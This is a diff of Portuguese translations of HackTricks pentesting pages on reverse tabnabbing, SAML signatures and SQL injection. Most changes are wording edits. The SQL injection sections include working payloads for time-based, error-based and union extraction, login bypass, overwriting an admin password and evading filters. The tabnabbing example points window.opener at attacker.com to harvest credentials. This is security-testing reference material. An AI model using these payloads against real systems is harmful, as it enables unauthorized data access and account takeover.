* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,7 +7,7 @@
|
|||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
@ -42,7 +42,7 @@ window.frames[0].frame[0][2].location="https://geekycat.in/exploit.html";
|
|||
* Trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -18,7 +18,7 @@ Outras maneiras de apoiar o HackTricks:
|
|||
Em uma situação em que um **atacante** pode **controlar** o argumento **`href`** de uma tag **`<a`** com o atributo **`target="_blank" rel="opener"`** que será clicado por uma vítima, o **atacante** pode **apontar** este **link** para um site sob seu controle (um **site** **malicioso**). Então, uma vez que a **vítima clica** no link e acessa o site do atacante, este **site malicioso** será capaz de **controlar** a **página original** via o objeto javascript **`window.opener`**.\
|
||||
Se a página não tiver **`rel="opener"` mas contiver `target="_blank"` e também não tiver `rel="noopener"`** ela também pode ser vulnerável.
|
||||
|
||||
Uma maneira comum de abusar desse comportamento seria **alterar a localização do site original** via `window.opener.location = https://attacker.com/victim.html` para um site controlado pelo atacante que **parece com o original**, para que possa **imitar** o **formulário de login** do site original e solicitar credenciais ao usuário.
|
||||
Uma maneira comum de abusar desse comportamento seria **alterar a localização do site original** via `window.opener.location = https://attacker.com/victim.html` para um site controlado pelo atacante que **pareça com o original**, para que possa **imitar** o **formulário de login** do site original e solicitar credenciais ao usuário.
|
||||
|
||||
No entanto, observe que como o **atacante agora pode controlar o objeto de janela do site original** ele pode abusar de outras maneiras para realizar **ataques mais furtivos** (talvez modificando eventos javascript para exfiltrar informações para um servidor controlado por ele?)
|
||||
|
||||
|
@ -95,7 +95,7 @@ No entanto, em casos em que os domínios são idênticos, o site malicioso ganha
|
|||
|
||||
As informações de prevenção estão documentadas na [HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5\_Security\_Cheat\_Sheet.html#tabnabbing).
|
||||
|
||||
# Referências
|
||||
## Referências
|
||||
|
||||
* [https://owasp.org/www-community/attacks/Reverse_Tabnabbing](https://owasp.org/www-community/attacks/Reverse_Tabnabbing)
|
||||
|
||||
|
@ -106,9 +106,9 @@ As informações de prevenção estão documentadas na [HTML5 Cheat Sheet](https
|
|||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
|
|
|
@ -4,7 +4,7 @@
|
|||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
|
@ -24,7 +24,7 @@ Outras maneiras de apoiar o HackTricks:
|
|||
|
||||
# Fluxo de Autenticação SAML
|
||||
|
||||
**Para mais detalhes, confira o post completo em [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)**. Este é um resumo:
|
||||
**Para mais detalhes, confira a postagem completa em [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)**. Este é um resumo:
|
||||
|
||||
O processo de autenticação SAML envolve várias etapas, conforme ilustrado no esquema:
|
||||
|
||||
|
@ -39,7 +39,7 @@ O processo de autenticação SAML envolve várias etapas, conforme ilustrado no
|
|||
7. **Criação de Resposta SAML**: O IdP gera uma Resposta SAML contendo as assertivas necessárias.
|
||||
8. **Redirecionamento para URL ACS do SP**: O usuário é redirecionado para a URL do Serviço de Consumidor de Assertivas (ACS) do SP.
|
||||
9. **Validação da Resposta SAML**: O ACS valida a Resposta SAML.
|
||||
10. **Acesso ao Recurso Concedido**: Acesso ao recurso inicialmente solicitado é concedido.
|
||||
10. **Acesso ao Recurso Concedido**: Acesso ao recurso solicitado inicialmente é concedido.
|
||||
|
||||
# Exemplo de Solicitação SAML
|
||||
|
||||
|
@ -72,7 +72,7 @@ Você pode encontrar uma [resposta SAML completa aqui](https://epi052.gitlab.io/
|
|||
- **saml:Assertion**: Esta parte contém informações sobre a identidade do usuário e possivelmente outros atributos.
|
||||
- **saml:Subject**: Especifica o sujeito principal de todas as declarações na afirmação.
|
||||
- **saml:StatusCode**: Representa o status da operação em resposta à solicitação correspondente.
|
||||
- **saml:Conditions**: Detalha condições como o tempo de validade da Declaração e o Provedor de Serviço especificado.
|
||||
- **saml:Conditions**: Detalha condições como o tempo de validade da Declaração e o Provedor de Serviços especificado.
|
||||
- **saml:AuthnStatement**: Confirma que o IdP autenticou o sujeito da Declaração.
|
||||
- **saml:AttributeStatement**: Contém atributos que descrevem o sujeito da Declaração.
|
||||
|
||||
|
@ -119,30 +119,30 @@ Exemplo:
|
|||
...
|
||||
<ds:Reference URI="#...">
|
||||
...
|
||||
</Reference>
|
||||
</SignedInfo>
|
||||
</Signature>
|
||||
</ds:Reference>
|
||||
</ds:SignedInfo>
|
||||
</ds:Signature>
|
||||
...
|
||||
</samlp:Response>
|
||||
```
|
||||
|
||||
Em uma assinatura envelopada, o elemento `ds:Transform` especifica que está envelopado através do algoritmo `enveloped-signature`.
|
||||
Em uma assinatura envelopada, o elemento `ds:Transform` especifica que está envelopada através do algoritmo `enveloped-signature`.
|
||||
|
||||
2. **Assinatura Envelopante**: Em contraste com as assinaturas envelopadas, as assinaturas envelopantes envolvem o recurso sendo assinado.
|
||||
|
||||
Exemplo:
|
||||
```xml
|
||||
<ds:Signature>
|
||||
<SignedInfo>
|
||||
<ds:SignedInfo>
|
||||
...
|
||||
<Reference URI="#...">
|
||||
<ds:Reference URI="#...">
|
||||
...
|
||||
</Reference>
|
||||
</SignedInfo>
|
||||
</ds:Reference>
|
||||
</ds:SignedInfo>
|
||||
<samlp:Response ... ID="..." ... >
|
||||
...
|
||||
</samlp:Response>
|
||||
</Signature>
|
||||
</ds:Signature>
|
||||
```
|
||||
|
||||
3. **Assinatura Separada**: Este tipo é separado do conteúdo que assina. A assinatura e o conteúdo existem independentemente, mas uma ligação entre os dois é mantida.
|
||||
|
@ -153,17 +153,17 @@ Exemplo:
|
|||
...
|
||||
</samlp:Response>
|
||||
<ds:Signature>
|
||||
<SignedInfo>
|
||||
<ds:SignedInfo>
|
||||
...
|
||||
<Reference URI="#...">
|
||||
<ds:Reference URI="#...">
|
||||
...
|
||||
</Reference>
|
||||
</SignedInfo>
|
||||
</Signature>
|
||||
</ds:Reference>
|
||||
</ds:SignedInfo>
|
||||
</ds:Signature>
|
||||
```
|
||||
|
||||
Em conclusão, as Assinaturas XML fornecem maneiras flexíveis de proteger documentos XML, com cada tipo atendendo a diferentes necessidades estruturais e de segurança.
|
||||
|
||||
|
||||
# Referências
|
||||
## Referências
|
||||
* [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)
|
||||
|
|
|
@ -7,7 +7,7 @@
|
|||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
@ -20,12 +20,12 @@
|
|||
|
||||
## O que é injeção de SQL?
|
||||
|
||||
Uma **injeção de SQL** é uma falha de segurança que permite que atacantes **interfiram em consultas de banco de dados** de uma aplicação. Essa vulnerabilidade pode permitir que os atacantes **visualizem**, **modifiquem** ou **excluam** dados aos quais não deveriam ter acesso, incluindo informações de outros usuários ou quaisquer dados aos quais a aplicação possa acessar. Tais ações podem resultar em alterações permanentes na funcionalidade ou conteúdo da aplicação ou até mesmo comprometer o servidor ou negar o serviço.
|
||||
Uma **injeção de SQL** é uma falha de segurança que permite que atacantes **interfiram em consultas de banco de dados** de uma aplicação. Essa vulnerabilidade pode permitir que atacantes **visualizem**, **modifiquem** ou **excluam** dados aos quais não deveriam ter acesso, incluindo informações de outros usuários ou quaisquer dados aos quais a aplicação possa acessar. Tais ações podem resultar em alterações permanentes na funcionalidade ou conteúdo da aplicação ou até mesmo comprometer o servidor ou negar o serviço.
|
||||
|
||||
|
||||
## Detecção do ponto de entrada
|
||||
|
||||
Quando um site parece estar **vulnerável a injeção de SQL (SQLi)** devido a respostas incomuns do servidor a entradas relacionadas ao SQLi, o **primeiro passo** é entender como **injetar dados na consulta sem interrompê-la**. Isso requer identificar o método para **escapar do contexto atual** de forma eficaz.
|
||||
Quando um site parece ser **vulnerável a injeção de SQL (SQLi)** devido a respostas incomuns do servidor a entradas relacionadas ao SQLi, o **primeiro passo** é entender como **injetar dados na consulta sem interrompê-la**. Isso requer identificar o método para **escapar do contexto atual** de forma eficaz.
|
||||
Aqui estão alguns exemplos úteis:
|
||||
```
|
||||
[Nothing]
|
||||
|
@ -39,7 +39,7 @@ Aqui estão alguns exemplos úteis:
|
|||
"))
|
||||
`))
|
||||
```
|
||||
Então, você precisa saber como **corrigir a consulta para que não haja erros**. Para corrigir a consulta, você pode **inserir** dados para que a **consulta anterior aceite os novos dados**, ou simplesmente **inserir** seus dados e **adicionar um símbolo de comentário no final**.
|
||||
Então, você precisa saber como **corrigir a consulta para que não haja erros**. Para corrigir a consulta, você pode **inserir** dados para que a **consulta anterior aceite os novos dados**, ou você pode simplesmente **inserir** seus dados e **adicionar um símbolo de comentário no final**.
|
||||
|
||||
_Observe que se você puder ver mensagens de erro ou identificar diferenças quando uma consulta está funcionando e quando não está, esta fase será mais fácil._
|
||||
|
||||
|
@ -73,9 +73,9 @@ HQL does not support comments
|
|||
|
||||
Um método confiável para confirmar uma vulnerabilidade de injeção de SQL envolve a execução de uma **operação lógica** e observar os resultados esperados. Por exemplo, um parâmetro GET como `?username=Peter` que produz conteúdo idêntico quando modificado para `?username=Peter' or '1'='1` indica uma vulnerabilidade de injeção de SQL.
|
||||
|
||||
Da mesma forma, a aplicação de **operações matemáticas** serve como uma técnica eficaz de confirmação. Por exemplo, se acessar `?id=1` e `?id=2-1` produzirem o mesmo resultado, isso é indicativo de uma injeção de SQL.
|
||||
Da mesma forma, a aplicação de **operações matemáticas** serve como uma técnica de confirmação eficaz. Por exemplo, se acessar `?id=1` e `?id=2-1` produzirem o mesmo resultado, isso é indicativo de injeção de SQL.
|
||||
|
||||
Exemplos demonstrando a confirmação por operações lógicas:
|
||||
Exemplos demonstrando a confirmação com operações lógicas:
|
||||
```
|
||||
page.asp?id=1 or 1=1 -- results in true
|
||||
page.asp?id=1' or 1=1 -- results in true
|
||||
|
@ -88,7 +88,8 @@ Esta lista de palavras foi criada para tentar **confirmar SQLinjections** da man
|
|||
|
||||
### Confirmando com Timing
|
||||
|
||||
Em alguns casos, você **não notará nenhuma mudança** na página que está testando. Portanto, uma boa maneira de **descobrir injeções de SQL cegas** é fazer o BD realizar ações que terão um **impacto no tempo** que a página precisa para carregar. Portanto, vamos concatenar na consulta SQL uma operação que levará muito tempo para ser concluída:
|
||||
Em alguns casos, você **não notará nenhuma alteração** na página que está testando. Portanto, uma boa maneira de **descobrir injeções de SQL cegas** é fazer o BD realizar ações que terão um **impacto no tempo** que a página precisa para carregar.\
|
||||
Portanto, vamos concatenar na consulta SQL uma operação que levará muito tempo para ser concluída:
|
||||
```
|
||||
MySQL (string concat and logical ops)
|
||||
1' + sleep(10)
|
||||
|
@ -142,7 +143,7 @@ A melhor maneira de identificar o back-end é tentar executar funções dos dife
|
|||
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||||
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||||
```
|
||||
Também, se tiver acesso à saída da consulta, você poderia fazer com que **imprimisse a versão do banco de dados**.
|
||||
Também, se tiver acesso à saída da consulta, você poderia fazer com que **imprima a versão do banco de dados**.
|
||||
|
||||
{% hint style="info" %}
|
||||
A seguir, vamos discutir diferentes métodos para explorar diferentes tipos de Injeção de SQL. Vamos usar o MySQL como exemplo.
|
||||
|
@ -215,8 +216,8 @@ Para obter insights mais abrangentes, consulte o artigo completo disponível em
|
|||
|
||||
## Explorando Baseado em Erros
|
||||
|
||||
Se, por algum motivo, você **não pode** ver a **saída** da **consulta** mas consegue **ver as mensagens de erro**, você pode fazer com que essas mensagens de erro **ex-filtrem** dados do banco de dados.\
|
||||
Seguindo um fluxo semelhante à exploração Baseada em União, você poderia conseguir extrair o banco de dados.
|
||||
Se por algum motivo você **não pode** ver a **saída** da **consulta** mas consegue **ver as mensagens de erro**, você pode usar essas mensagens de erro para **exfiltrar** dados do banco de dados.\
|
||||
Seguindo um fluxo semelhante à exploração Baseada em União, você pode conseguir extrair o banco de dados.
|
||||
```sql
|
||||
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
|
||||
```
|
||||
|
@ -239,11 +240,11 @@ Neste caso, **não há** nenhuma maneira de **distinguir** a **resposta** da con
|
|||
```sql
|
||||
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
|
||||
```
|
||||
## Consultas em Pilha
|
||||
## Consultas Empilhadas
|
||||
|
||||
Você pode usar consultas em pilha para **executar várias consultas em sucessão**. Observe que, enquanto as consultas subsequentes são executadas, os **resultados** **não são retornados para a aplicação**. Portanto, essa técnica é principalmente útil em relação a **vulnerabilidades cegas** onde você pode usar uma segunda consulta para acionar uma pesquisa de DNS, erro condicional ou atraso de tempo.
|
||||
Você pode usar consultas empilhadas para **executar várias consultas em sucessão**. Observe que, enquanto as consultas subsequentes são executadas, os **resultados** **não são retornados para a aplicação**. Portanto, essa técnica é principalmente útil em relação a **vulnerabilidades cegas** onde você pode usar uma segunda consulta para acionar uma pesquisa de DNS, erro condicional ou atraso de tempo.
|
||||
|
||||
**Oracle** não suporta **consultas em pilha**. **MySQL, Microsoft** e **PostgreSQL** as suportam: `CONSULTA-1-AQUI; CONSULTA-2-AQUI`
|
||||
**Oracle** não suporta **consultas empilhadas**. **MySQL, Microsoft** e **PostgreSQL** as suportam: `CONSULTA-1-AQUI; CONSULTA-2-AQUI`
|
||||
|
||||
## Exploração Fora de Banda
|
||||
|
||||
|
@ -291,7 +292,7 @@ Lista para tentar burlar a funcionalidade de login:
|
|||
```sql
|
||||
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
|
||||
```
|
||||
Esta consulta demonstra uma vulnerabilidade quando o MD5 é usado com true para saída bruta em verificações de autenticação, tornando o sistema suscetível a injeção SQL. Os atacantes podem explorar isso criando entradas que, quando hashadas, produzem partes inesperadas de comandos SQL, levando a acessos não autorizados.
|
||||
Este query demonstra uma vulnerabilidade quando o MD5 é usado com true para saída bruta em verificações de autenticação, tornando o sistema suscetível a injeção de SQL. Os atacantes podem explorar isso criando inputs que, quando hashados, produzem partes inesperadas de comandos SQL, resultando em acesso não autorizado.
|
||||
```sql
|
||||
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
|
||||
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
|
||||
|
@ -336,19 +337,19 @@ Para fazer isso, você deve tentar **criar um novo objeto com o nome do "objeto
|
|||
|
||||
* Criar usuário com o nome: **AdMIn** (letras maiúsculas e minúsculas)
|
||||
* Criar um usuário com o nome: **admin=**
|
||||
* **Ataque de Truncamento SQL** (quando há algum tipo de **limite de comprimento** no nome de usuário ou e-mail) --> Criar usuário com o nome: **admin \[muitos espaços\] a**
|
||||
* **Ataque de Truncamento SQL** (quando há algum tipo de **limite de comprimento** no nome de usuário ou e-mail) --> Criar usuário com o nome: **admin \[muitos espaços] a**
|
||||
|
||||
#### Ataque de Truncamento SQL
|
||||
|
||||
Se o banco de dados for vulnerável e o número máximo de caracteres para o nome de usuário for, por exemplo, 30 e você deseja se passar pelo usuário **admin**, tente criar um nome de usuário chamado: "_admin \[30 espaços\] a_" e qualquer senha.
|
||||
Se o banco de dados for vulnerável e o número máximo de caracteres para o nome de usuário for, por exemplo, 30 e você deseja se passar pelo usuário **admin**, tente criar um nome de usuário chamado: "_admin \[30 espaços] a_" e qualquer senha.
|
||||
|
||||
O banco de dados irá **verificar** se o **nome de usuário** **introduzido** **existe** no banco de dados. Se **não existir**, ele irá **cortar** o **nome de usuário** para o **número máximo permitido de caracteres** (neste caso para: "_admin \[25 espaços\]_") e então **removerá automaticamente todos os espaços no final atualizando** no banco de dados o usuário "**admin**" com a **nova senha** (algum erro pode aparecer, mas isso não significa que não funcionou).
|
||||
O banco de dados irá **verificar** se o **nome de usuário** **introduzido** **existe** no banco de dados. Se **não existir**, ele irá **cortar** o **nome de usuário** para o **número máximo de caracteres permitidos** (neste caso para: "_admin \[25 espaços]_") e então **removerá automaticamente todos os espaços no final atualizando** no banco de dados o usuário "**admin**" com a **nova senha** (algum erro pode aparecer, mas isso não significa que não funcionou).
|
||||
|
||||
Mais informações: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
|
||||
|
||||
_Nota: Este ataque não funcionará mais conforme descrito acima nas últimas instalações do MySQL. Embora as comparações ainda ignorem espaços em branco no final por padrão, tentar inserir uma string que seja mais longa que o comprimento de um campo resultará em um erro, e a inserção falhará. Para mais informações sobre isso, confira: [https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)_
|
||||
_Nota: Este ataque não funcionará mais conforme descrito acima nas últimas instalações do MySQL. Embora as comparações ainda ignorem espaços em branco no final por padrão, tentar inserir uma string que seja mais longa que o comprimento de um campo resultará em um erro, e a inserção falhará. Para mais informações sobre isso, verifique: [https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)_
|
||||
|
||||
### Verificação baseada no tempo de inserção do MySQL
|
||||
### Verificação baseada em tempo de inserção MySQL
|
||||
|
||||
Adicione tantos `','',''` quanto considerar necessário para sair da declaração VALUES. Se houver um atraso na execução, você tem uma Injeção SQL.
|
||||
```sql
|
||||
|
@ -364,15 +365,17 @@ Um payload de injeção pode ser elaborado da seguinte forma, onde duas linhas s
|
|||
```sql
|
||||
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
|
||||
```
|
||||
### Como funciona:
|
||||
|
||||
- A consulta tenta inserir duas linhas: uma para `generic_user@example.com` e outra para `admin_generic@example.com`.
|
||||
- Se a linha para `admin_generic@example.com` já existir, a cláusula `ON DUPLICATE KEY UPDATE` é acionada, instruindo o MySQL a atualizar o campo `password` da linha existente para "bcrypt_hash_of_newpassword".
|
||||
- Consequentemente, a autenticação pode ser tentada usando `admin_generic@example.com` com a senha correspondente ao hash bcrypt ("bcrypt_hash_of_newpassword" representa o hash bcrypt da nova senha, que deve ser substituído pelo hash real da senha desejada).
|
||||
|
||||
### Extrair informações
|
||||
|
||||
#### Criando 2 contas ao mesmo tempo
|
||||
|
||||
Ao tentar criar um novo usuário e nome de usuário, senha e e-mail são necessários:
|
||||
|
||||
- A consulta tenta inserir duas linhas: uma para `generic_user@example.com` e outra para `admin_generic@example.com`.
|
||||
- Se a linha para `admin_generic@example.com` já existir, a cláusula `ON DUPLICATE KEY UPDATE` é acionada, instruindo o MySQL a atualizar o campo `password` da linha existente para "bcrypt_hash_of_newpassword".
|
||||
- Consequentemente, a autenticação pode então ser tentada usando `admin_generic@example.com` com a senha correspondente ao hash bcrypt ("bcrypt_hash_of_newpassword" representa o hash bcrypt da nova senha, que deve ser substituído pelo hash real da senha desejada).
|
||||
Ao tentar criar um novo usuário, são necessários nome de usuário, senha e e-mail:
|
||||
```
|
||||
SQLi payload:
|
||||
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
|
||||
|
@ -408,9 +411,9 @@ Usando **hex** e **replace** (e **substr**):
|
|||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
## Injeção SQL Roteada
|
||||
## Injeção SQL roteada
|
||||
|
||||
A injeção SQL roteada é uma situação em que a consulta injetável não é aquela que fornece a saída, mas a saída da consulta injetável vai para a consulta que fornece a saída. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
|
||||
A injeção SQL roteada é uma situação em que a consulta injetável não é aquela que fornece a saída, mas a saída da consulta injetável vai para a consulta que fornece a saída. ([Do Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
|
||||
|
||||
Exemplo:
|
||||
```
|
||||
|
@ -434,19 +437,19 @@ Sem Espaço (%20) - bypass usando alternativas de espaçamento
|
|||
```
|
||||
### No Whitespace - bypass usando comentários
|
||||
|
||||
Em alguns casos, os filtros de entrada podem bloquear palavras-chave específicas, como "UNION" ou "SELECT". Uma técnica comum para contornar esses filtros é usar comentários para dividir as palavras-chave. Por exemplo, em vez de "UNION", você pode usar "UNION/**/ALL" para evitar a detecção. Certifique-se de testar se a técnica de comentários funciona corretamente no contexto específico em que você está trabalhando.
|
||||
Em alguns casos, os filtros de entrada podem bloquear palavras-chave específicas, como "UNION" ou "SELECT". No entanto, é possível contornar esses filtros usando comentários para dividir as palavras-chave. Por exemplo, em vez de usar "UNION", você pode usar "UNION/**/ALL" para evitar a detecção. Certifique-se de testar diferentes variações para encontrar a que funciona melhor no contexto específico.
|
||||
```sql
|
||||
?id=1/*comment*/and/**/1=1/**/--
|
||||
```
|
||||
### Sem Espaços - contornando usando parênteses
|
||||
|
||||
Neste cenário, o objetivo é contornar restrições de entrada de dados que bloqueiam o uso de espaços em uma injeção SQL. Uma técnica comum para contornar essa restrição é usar parênteses para separar palavras-chave e operadores. Isso pode permitir a execução bem-sucedida de uma injeção SQL mesmo sem a capacidade de inserir espaços.
|
||||
Neste desafio, o objetivo é contornar a restrição de espaços em uma injeção SQL usando parênteses para separar as palavras-chave e os operadores. Isso pode ser útil em situações em que os espaços são filtrados, mas os parênteses não são.
|
||||
```sql
|
||||
?id=(1)and(1)=(1)--
|
||||
```
|
||||
### Sem vírgulas de bypass
|
||||
### Bypass sem vírgulas
|
||||
|
||||
Sem vírgulas - bypass usando OFFSET, FROM e JOIN
|
||||
Bypass sem vírgulas - usando OFFSET, FROM e JOIN
|
||||
```
|
||||
LIMIT 0,1 -> LIMIT 1 OFFSET 0
|
||||
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
|
||||
|
@ -460,7 +463,7 @@ Lista negra usando palavras-chave - desviar usando maiúsculas/minúsculas
|
|||
?id=1 AnD 1=1#
|
||||
?id=1 aNd 1=1#
|
||||
```
|
||||
Lista negra usando palavras-chave sem diferenciação de maiúsculas e minúsculas - contornando usando um operador equivalente
|
||||
Lista negra usando palavras-chave sem diferenciação de maiúsculas e minúsculas - contornar usando um operador equivalente
|
||||
```
|
||||
AND -> && -> %26%26
|
||||
OR -> || -> %7C%7C
|
||||
|
@ -523,7 +526,7 @@ Este truque foi retirado de [https://secgroup.github.io/2017/01/03/33c3ctf-write
|
|||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
